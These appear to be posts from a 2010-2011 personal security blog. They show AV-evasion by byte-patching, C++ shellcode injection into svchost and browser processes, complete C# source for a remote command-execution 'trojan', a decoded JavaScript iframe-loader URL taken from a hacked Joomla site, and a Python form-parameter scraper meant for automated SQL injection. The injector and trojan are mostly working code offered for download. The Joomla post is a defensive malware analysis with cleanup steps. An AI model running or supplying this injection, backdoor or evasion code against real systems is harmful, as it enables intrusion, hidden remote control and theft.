A tutorial I wrote on bypassing AV signature-based detection was published in a Israeli information security magazine called Digital Whisper. In this tutorial I demonstrate several techniques to bypass signature-based malware detection, and as a bonus demonstrate these techniques to bypass Symantec AV from detecting ZBot (Zeus worm).
The PDF version of the tutorial can be downloaded from here:
http://www.digitalwhisper.co.il/files/Zines/0x10/DW16-2-SignatureDetectionBypass.pdf
First steps into the world of application security
Security research & tools development
Saturday, January 8, 2011
Wednesday, December 1, 2010
The ineffectiveness of AV demonstrated on the new UAC 0day POC file
A few days ago, a POC of the UAC bypass 0day was published. The Zip file downloaded contained an exe file and its source code. Shortly after, my AV (Nod32) alerted regarding a malicious file found on my machine (Win32/Exploit.Agent.NAB), and pointed to the POC exe file I just downloaded. From viewing the source code it was obvious that this file was not malicious, and yet when uploaded to VirusTotal for analysing this file it got detected by 35 out of 43 AVs:
I decided to play a bit with the binary data and see what happens... :)
My method of changing the signature, so it would be undetected by AVs was to find the part in the binary which triggers the AV (the signature block) and replace hex values of 0x00 (NULL) with 0x90 (NOP) values. And so I opened a hex editor and copied shellcode parts from the binary to a separate file and uploaded it to VirusTotal until I found the part which triggered most of the AVs. After replacing the NULLs with NOPs, I verified that the file is still being executed and working and uploaded it to VirusTotal again. Only this time:
The file was only detected by 2 AVs which one of them was Nod32. A strange thing, because even after updating Nod32 on my machine to the latest signature DB version, I still don't get any alert for executing the file. So it basically got detected only by one AV, called DrWeb, which I'm not familiar with. Oh well...
You can download the undetected (until it will also get signed) POC file from here.
-Hertz
I decided to play a bit with the binary data and see what happens... :)
My method of changing the signature, so it would be undetected by AVs was to find the part in the binary which triggers the AV (the signature block) and replace hex values of 0x00 (NULL) with 0x90 (NOP) values. And so I opened a hex editor and copied shellcode parts from the binary to a separate file and uploaded it to VirusTotal until I found the part which triggered most of the AVs. After replacing the NULLs with NOPs, I verified that the file is still being executed and working and uploaded it to VirusTotal again. Only this time:
The file was only detected by 2 AVs which one of them was Nod32. A strange thing, because even after updating Nod32 on my machine to the latest signature DB version, I still don't get any alert for executing the file. So it basically got detected only by one AV, called DrWeb, which I'm not familiar with. Oh well...
You can download the undetected (until it will also get signed) POC file from here.
-Hertz
Labels:
0day,
bypass AV,
bypass signature,
POC,
UAC bypass
Sunday, November 14, 2010
Injecting shellcode into XP/Vista/7 process using C++
In this post I will present a tool I created for injecting shellcode into any process in the system (even privileged once if you have admin permissions). This tool only uses WinAPI functions and should work on any Windows platform and without any dependency.
Let's begin:
First thing, we would like to find out the OS version and architecture of the machine our tool is running on, in order to act accordingly (explained later on). For this purpes we create a simple function called CheckOSVersion.
Moving on to check the architecture. One of many ways to achieve this is by checking the size of a known data type:
The next thing we would like to do is to enumerate the processes so we could choose the ones we like to inject our shellcode into.
One way to achieve this is by using CreateToolhelp32Snapshot function which as it sounds, takes a snapshot of a certain process. The structure to contain a process info would be PROCESSENTRY32 and the functions we use to iterate through the processes would be Process32First and Process32Next
Now that we know the OS version, architecture and enumerated the processes, it's time for the fun part, injecting our shellcode into the selected processes. For this task we create a function called InjectCode (how surprising!). This function receives a process ID to inject to, the OS and architecture ID.
The flow of shellcode injection is quite simple. First we need to receive a handle with the appropriate permissions for the target process. For this task we use OpenProcess. Once we have the process handle we can allocate memory space on that process (making room for our shellcode) using VirtualAllocEx, writing the shellcode into the memory space we allocated using WriteProcessMemory and finally, in order to make the target process run our shellcode we use MyCreateRemoteThread, which creates a thread on the target process with our shellcode running on it.
MyCreateRemoteThread
NtCreateThreadEx
That's about it. You can download the VS 2008 project files from here and the injector exe file from here.
The exe file injects Windows calculator for Win XP, a messagebox for Win7/Vista x86, or spawn CMD for Win7/Vista x64. The target processes are SVCHOST.EXE, Explorer.exe, iexplore.exe, firefox.exe and chrome.exe.
Hope you'll find this information usefull.
Cheers,
-Herzel
Let's begin:
First thing, we would like to find out the OS version and architecture of the machine our tool is running on, in order to act accordingly (explained later on). For this purpes we create a simple function called CheckOSVersion.
code:
int CheckOSVersion(void) { /* * Windows XP = 1 (NT 5.0) * Windows Vista = 2 (NT 6.0) * Windows 7 = 3 (NT 6.1) */ OSVERSIONINFO osver; osver.dwOSVersionInfoSize = sizeof(osver); if (GetVersionEx(&osver)) { if (!(osver.dwPlatformId == VER_PLATFORM_WIN32_NT)) return 0; if (osver.dwMajorVersion == 5) return 1; if (osver.dwMajorVersion == 6 && osver.dwMinorVersion == 0) return 2; if (osver.dwMajorVersion == 6 && osver.dwMinorVersion == 1) return 3; } else return 0; }
Moving on to check the architecture. One of many ways to achieve this is by checking the size of a known data type:
bool is64bit; // get system architecture if(sizeof(void*) == 4) is64bit = false; // 32bit else is64bit = true; // 64bit
The next thing we would like to do is to enumerate the processes so we could choose the ones we like to inject our shellcode into.
One way to achieve this is by using CreateToolhelp32Snapshot function which as it sounds, takes a snapshot of a certain process. The structure to contain a process info would be PROCESSENTRY32 and the functions we use to iterate through the processes would be Process32First and Process32Next
Code:
PROCESSENTRY32 pe32 = { sizeof( PROCESSENTRY32 ) }; HANDLE hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ); if( hSnapshot == INVALID_HANDLE_VALUE ) return 0; if( ! Process32First( hSnapshot, &pe32 ) ) { CloseHandle( hSnapshot ); return 0; } do { if( _tcsicmp( _T( "process_name.exe" ), pe32.szExeFile ) == 0){ // The injection function is called from here... } } while( Process32Next( hSnapshot, &pe32 ) );
Now that we know the OS version, architecture and enumerated the processes, it's time for the fun part, injecting our shellcode into the selected processes. For this task we create a function called InjectCode (how surprising!). This function receives a process ID to inject to, the OS and architecture ID.
The flow of shellcode injection is quite simple. First we need to receive a handle with the appropriate permissions for the target process. For this task we use OpenProcess. Once we have the process handle we can allocate memory space on that process (making room for our shellcode) using VirtualAllocEx, writing the shellcode into the memory space we allocated using WriteProcessMemory and finally, in order to make the target process run our shellcode we use MyCreateRemoteThread, which creates a thread on the target process with our shellcode running on it.
code:
bool InjectCode( DWORD dwProcId, int os ) { //open process with proper access permissions HANDLE hHandle = NULL; if (os < 2) //good for Windows XP and older hHandle = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, 0, dwProcId ); else //good for Windows 7 and Vista (not tested on XP or older) hHandle = OpenProcess( PROCESS_ALL_ACCESS, 0, dwProcId ); //check if OpenProcess succeeded if( hHandle == INVALID_HANDLE_VALUE ) return false; //allocate memory for our shellcode in the desired process's address space LPVOID lpShellcode = NULL; //choose the shellcode which suits the environment if (os < 2) lpShellcode = VirtualAllocEx( hHandle, 0, sizeof( calc_shellcode_XP ), MEM_COMMIT, PAGE_EXECUTE_READWRITE ); else if (os < 4) lpShellcode = VirtualAllocEx( hHandle, 0, sizeof( msgbox_shellcode_Win7_32 ), MEM_COMMIT, PAGE_EXECUTE_READWRITE ); else lpShellcode = VirtualAllocEx( hHandle, 0, sizeof( cmd_shellcode_Win7_64 ), MEM_COMMIT, PAGE_EXECUTE_READWRITE ); //check if VirtualAllocEx succeeded if( lpShellcode == NULL) { CloseHandle( hHandle ); return false; } // write the shellcode into the allocated memory space if (os < 2) WriteProcessMemory( hHandle, lpShellcode, calc_shellcode_XP, sizeof( calc_shellcode_XP ), 0 ); else if (os < 4) WriteProcessMemory( hHandle, lpShellcode, msgbox_shellcode_Win7_32, sizeof( msgbox_shellcode_Win7_32 ), 0 ); else WriteProcessMemory( hHandle, lpShellcode, cmd_shellcode_Win7_64, sizeof( cmd_shellcode_Win7_64 ), 0 ); // create a thread which will execute our shellcode HANDLE hThread = MyCreateRemoteThread( hHandle, lpShellcode, 0 ); if( hThread == NULL ) { CloseHandle( hHandle ); return false; } return true; }
MyCreateRemoteThread
code:
HANDLE MyCreateRemoteThread(HANDLE hProcess, LPVOID lpRemoteThreadStart, LPVOID lpRemoteCallback) { if(GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtCreateThreadEx")) { return NtCreateThreadEx(hProcess, lpRemoteThreadStart, lpRemoteCallback); } else { return CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpRemoteThreadStart, lpRemoteCallback, 0, 0); } return NULL; }The reason I'm using CreateRemoteThread and NtCreateThreadEx is that CreateRemoteThread not always works on Windows Vista and 7 (because of some changes made for hardening protection). NtCreateThreadEx is an undocumented function, there for I had to implement it instead of using the API as I did so far.
NtCreateThreadEx
code:
HANDLE NtCreateThreadEx(HANDLE hProcess, LPVOID lpRemoteThreadStart, LPVOID lpRemoteCallback) { typedef struct { ULONG Length; ULONG Unknown1; ULONG Unknown2; PULONG Unknown3; ULONG Unknown4; ULONG Unknown5; ULONG Unknown6; PULONG Unknown7; ULONG Unknown8; } UNKNOWN; typedef DWORD WINAPI NtCreateThreadEx_PROC( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD Unknown1, DWORD Unknown2, LPVOID Unknown3 ); UNKNOWN Buffer; DWORD dw0 = 0; DWORD dw1 = 0; memset(&Buffer, 0, sizeof(UNKNOWN)); Buffer.Length = sizeof (UNKNOWN); Buffer.Unknown1 = 0x10003; Buffer.Unknown2 = 0x8; Buffer.Unknown3 = &dw1; Buffer.Unknown4 = 0; Buffer.Unknown5 = 0x10004; Buffer.Unknown6 = 4; Buffer.Unknown7 = &dw0; NtCreateThreadEx_PROC* VistaCreateThread = (NtCreateThreadEx_PROC*) GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtCreateThreadEx"); if(VistaCreateThread == NULL) return NULL; HANDLE hRemoteThread = NULL; HRESULT hRes = 0; if(!SUCCEEDED(hRes = VistaCreateThread( &hRemoteThread, 0x1FFFFF, // all access NULL, hProcess, (LPTHREAD_START_ROUTINE)lpRemoteThreadStart, lpRemoteCallback, FALSE, NULL, NULL, NULL, &Buffer ))) { return NULL; } return hRemoteThread; }
That's about it. You can download the VS 2008 project files from here and the injector exe file from here.
The exe file injects Windows calculator for Win XP, a messagebox for Win7/Vista x86, or spawn CMD for Win7/Vista x64. The target processes are SVCHOST.EXE, Explorer.exe, iexplore.exe, firefox.exe and chrome.exe.
Hope you'll find this information usefull.
Cheers,
-Herzel
Thursday, May 20, 2010
Automatic SQL injection tool update
Hi folks! This is an update about the automatic SQL injection tool I started developing.
My first intention was to develop a simple automatic injection tool, then when I started developing it I found it to be far from simple. That is why I decided to join forces with my colleague Raviv Raz who previously developed Multinjector. We intend to greatly improve and extend its functionality. You can read all about it at Raviv's blog. Updates and code reviews will be posted by me later on.
Have a good weekend,
-Herzel
My first intention was to develop a simple automatic injection tool, then when I started developing it I found it to be far from simple. That is why I decided to join forces with my colleague Raviv Raz who previously developed Multinjector. We intend to greatly improve and extend its functionality. You can read all about it at Raviv's blog. Updates and code reviews will be posted by me later on.
Have a good weekend,
-Herzel
Labels:
automatic SQL injection,
Multinjector,
SQL injection
Saturday, May 1, 2010
My own C# trojan - remote shell command execution
In this post I will present you a simple "shell" I created using c#.NET.
The trojan runs in the background, opens a listening port on the machine running it and allows any connected client to execute remote shell commands.
This application is for educational purposes only (mostly my own).
how to use it?
Simply run the trojan on the target machine and connect to it through port 13000 using telnet or netcat. After the connection had established, you may execute any shell command on the target machine:
Oh.. and don't forget to kill that process when you finish playing with it :)
-herzel
The trojan runs in the background, opens a listening port on the machine running it and allows any connected client to execute remote shell commands.
This application is for educational purposes only (mostly my own).
how to use it?
Simply run the trojan on the target machine and connect to it through port 13000 using telnet or netcat. After the connection had established, you may execute any shell command on the target machine:
code:
[STAThread] static void Main() { ProcessStartInfo processInfo; Process process; TcpListener server = null; bool isFirst = true; try { // Set the TcpListener on port 13000. Int32 port = 13000; // Set the server to run locally IPAddress localAddr = IPAddress.Parse("127.0.0.1"); server = new TcpListener(localAddr, port); // Start listening for client requests. server.Start(); // Buffer for reading data Byte[] bytes = new Byte[256]; String command = null; int i; string recv_char; byte[] msg; // Perform a blocking call to accept requests. TcpClient client = server.AcceptTcpClient(); // Get a stream object for reading and writing NetworkStream stream = client.GetStream(); // Say hello msg = System.Text.Encoding.ASCII.GetBytes("Welcome Master! enter a command to execute or enter exit:\r\n"); stream.Write(msg, 0, msg.Length); // Enter the listening loop. while (true) { if (!isFirst) { msg = System.Text.Encoding.ASCII.GetBytes("Enter a command:\r\n"); stream.Write(msg, 0, msg.Length); } // reset the command command = null; // Loop to receive all the data sent by the client. while ((i = stream.Read(bytes, 0, bytes.Length)) != 0) { // Translate data bytes to a ASCII string. recv_char = System.Text.Encoding.ASCII.GetString(bytes, 0, i); command += recv_char; if (command.Contains("\n")) break; } if (command.Equals("exit\r\n")) { // If exit entered shutdown and end connection msg = System.Text.Encoding.ASCII.GetBytes("Bye Bye Master...\r\n"); stream.Write(msg, 0, msg.Length); client.Close(); break; } // execute the command received (/C to terminate process after execution): processInfo = new ProcessStartInfo("cmd.exe", "/C " + command); processInfo.CreateNoWindow = true; // don't open a window processInfo.RedirectStandardOutput = true; // don't show output processInfo.UseShellExecute = false; // don't use a shell process = Process.Start(processInfo); // start the process string output = process.StandardOutput.ReadToEnd(); process.Close(); // close the process isFirst = false; if (output != null) { msg = System.Text.Encoding.ASCII.GetBytes(output + "\n"); // Send back a response. stream.Write(msg, 0, msg.Length); } else { msg = System.Text.Encoding.ASCII.GetBytes("Sorry Master, command execution failed\r\n"); // Send back a response. stream.Write(msg, 0, msg.Length); } } } catch { // do nothing } finally { // Stop listening for new clients. server.Stop(); } }You may download the executable file from here.
Oh.. and don't forget to kill that process when you finish playing with it :)
-herzel
Saturday, January 16, 2010
Analysis of a Javascript Trojan found on a joomla based website
Yesterday, I got my first freelance job. The owner of the website described that users are complaining that their spyware detection application alerts whenever they open some pages on the website.
It didn't take a while to figure out where the Trojan is hiding and how its attacking.
As soon as I opened the about and the contact pages, Nod32 alerted that the pages I'm viewing contain a malicious javascript. When i viewed the source code I saw this suspicious script:
The interesting part is that strange code that starts from line 7 to line 13. This code is the second parameter of the setAttribute function. It looks like this: setAttribute('src', strange code).
This function is used to set the value of an attribute on an object. It is typically used along with objects returned by document.getElementById to assign a new value to the object's attribute.
Notice the string.replace function at line 13? it replaces the charactes !, @, #, $, %, ^, &, (, ) with blank. I created a simple Python code that does this replacement:
Basically this script adds a reference to a javascript file that is located at the address above. I followed the address of this file and found a script that opens an invisible iframe. By this invisible iframe the attackers can steal information such as online banking credentials.
How to remove this this Trojan?
Simply remove it from every page you find it in.
How to avoid it from infecting your files again?
It probably infected the files through the FTP, so:
1. Change your FTP credentials.
2. Install a good anti-spyware application.
3. Don't use public machines to access your FTP.
4. Check the files that users are uploading to your website.
It didn't take a while to figure out where the Trojan is hiding and how its attacking.
As soon as I opened the about and the contact pages, Nod32 alerted that the pages I'm viewing contain a malicious javascript. When i viewed the source code I saw this suspicious script:
The interesting part is that strange code that starts from line 7 to line 13. This code is the second parameter of the setAttribute function. It looks like this: setAttribute('src', strange code).
This function is used to set the value of an attribute on an object. It is typically used along with objects returned by document.getElementById to assign a new value to the object's attribute.
Notice the string.replace function at line 13? it replaces the charactes !, @, #, $, %, ^, &, (, ) with blank. I created a simple Python code that does this replacement:
import sys strange_code = 'h#&#t&#!t$!@p):)$/!&^/!x#^&t@#&u@b($!)e#(-)c^@$&o#(#m^!$^.&$)b$($l$o!(#&)g(&g)(^$e!$r#@(.@^&(c(o^#m@)!#.)#p!(@o&r@)n(^$o$!^r&!a$)&m$@a$^$@-!c((^o#($m!.&#b$^$l)^u!$!e((#@)j@@a@)@c#k)!^m^(u$$!(s@$@i^@c@&.!@)r@u(!:(^8&@!)!0@)8)@#0&(!/$&)h^d$@$f$(^c^)b@$&a)^n^(k^#.&@^&c#(!#$o^m!)#/!h^@#d(&f)&c^()b#(a^$!n&^(#$k^#.!$c)o))m)&&/($&!g$$o!)o^()g))@(l$^@)e#^&.&&c^(o()m@!)(/(&f)#a!!@n!$@p))o)((p!^#.@c^!@o&@m)@&/@!!i&n^#!.&#!c)))!o(m#/)((!' strange_code = strange_code.replace('!', '') strange_code = strange_code.replace('@', '') strange_code = strange_code.replace('#', '') strange_code = strange_code.replace('$', '') strange_code = strange_code.replace('%', '') strange_code = strange_code.replace('^', '') strange_code = strange_code.replace('&', '') strange_code = strange_code.replace('(', '') strange_code = strange_code.replace(')', '') print strange_codeThe result:
http://xtube-com.blogger.com.pornorama-com.bluejackmusic.ru:8080/hdfcbank.com/hdfcbank.com/google.com/fanpop.com/in.com/
Basically this script adds a reference to a javascript file that is located at the address above. I followed the address of this file and found a script that opens an invisible iframe. By this invisible iframe the attackers can steal information such as online banking credentials.
How to remove this this Trojan?
Simply remove it from every page you find it in.
How to avoid it from infecting your files again?
It probably infected the files through the FTP, so:
1. Change your FTP credentials.
2. Install a good anti-spyware application.
3. Don't use public machines to access your FTP.
4. Check the files that users are uploading to your website.
Friday, January 8, 2010
Automatic SQL injection tool using Python - Part 1
This is a first post of several, in which I'll create a simple SQL injection tool using Python. Actually this is also the first time I program in Python, so comments and improvements suggestions are welcome.
In order to automate the injection we must first discover the injection points. The injection points are the HTML form parameters (POST and GET parameters). To extract those parameters I used BeautifulSoup, which is a simple and effective HTML parser.
With BeautifulSoup its easy to build applications that process web pages, such as a web scraper. You can get the parser from this website www.crummy.com/software/BeautifulSoup/download/3.x/BeautifulSoup-3.0.0.py. Change the name of the file to BeautifulSoup.py and then place it under the site-packages folder. For example if you use Windows OS and Python 2.5, it should be under "C:\Python25\Lib\site-packages", if you use Linux OS and Python 2.5, it should be under "/usr/lib/python2.5/site-packages".
The code:
You can also download the source file from here.
Usage: form_params.py method url
method: post or get
example: form_params.py post http://www.facebook.com
result:
-Herzel
In order to automate the injection we must first discover the injection points. The injection points are the HTML form parameters (POST and GET parameters). To extract those parameters I used BeautifulSoup, which is a simple and effective HTML parser.
With BeautifulSoup its easy to build applications that process web pages, such as a web scraper. You can get the parser from this website www.crummy.com/software/BeautifulSoup/download/3.x/BeautifulSoup-3.0.0.py. Change the name of the file to BeautifulSoup.py and then place it under the site-packages folder. For example if you use Windows OS and Python 2.5, it should be under "C:\Python25\Lib\site-packages", if you use Linux OS and Python 2.5, it should be under "/usr/lib/python2.5/site-packages".
The code:
import urllib2,sys
if len(sys.argv) != 3:
print "Usage: post_params.py [GET/POST] [url]"
sys.exit(1)
method = sys.argv[1].lower()
address = sys.argv[2]
if address.find('\\') != -1:
address = address[:-1]
# load the html page into a string variable
html = urllib2.urlopen(address).read()
from BeautifulSoup import BeautifulSoup
#load the string into a BeautifulSoup object and 'prettify' the code
soup = BeautifulSoup(html)
def printParams(forms):
# for each form tag in all form tags, do:
for form in forms:
print "-----------------------------------------------------------"
if form.has_key('action'):
if form['action'].find('://') == -1:
print "action: " + address + "/" + form['action'].strip('/')
else:
print "action: " + address
else:
print "action: " + address
if method == "post":
if form.has_key('method') and form['method'].lower() == 'post':
for post_input in form.findAll("input"):
if post_input.has_key('type'):
if post_input['type'].lower() == 'text' or \
post_input['type'].lower() == 'password' or \
post_input['type'].lower() == 'hidden'or \
post_input['type'].lower() == 'radio':
if post_input.has_key('id'):
print post_input['id']
elif post_input.has_key('name'):
print post_input['name']
elif method == "get":
if form.has_key('method') and form['method'].lower() == 'get' or \
not form.has_key('method'):
for get_input in form.findAll("input"):
if get_input.has_key('type'):
if get_input['type'].lower() == 'text' or \
get_input['type'].lower() == 'password' or \
get_input['type'].lower() == 'hidden'or \
get_input['type'].lower() == 'radio':
if get_input.has_key('id'):
print get_input['id']
elif get_input.has_key('name'):
print get_input['name']
# find all occurrences of the form tag and send it to printParams
printParams(soup.findAll("form"))
You can also download the source file from here.
Usage: form_params.py method url
method: post or get
example: form_params.py post http://www.facebook.com
result:
-----------------------------------------------------------
action: http://www.facebook.com
charset_test
locale
non_com_login
email
pass
pass_placeholder
charset_test
lsd
-----------------------------------------------------------
action: http://www.facebook.com
charset_test
locale
terms
reg_instance
firstname
lastname
reg_email__
reg_passwd__
referrer
challenge
md5pass
captcha_persist_data
captcha_session
extra_challenge_params
captcha_response
-----------------------------------------------------------
action: http://www.facebook.com
locale
confirmation_email
-Herzel
Subscribe to:
Posts (Atom)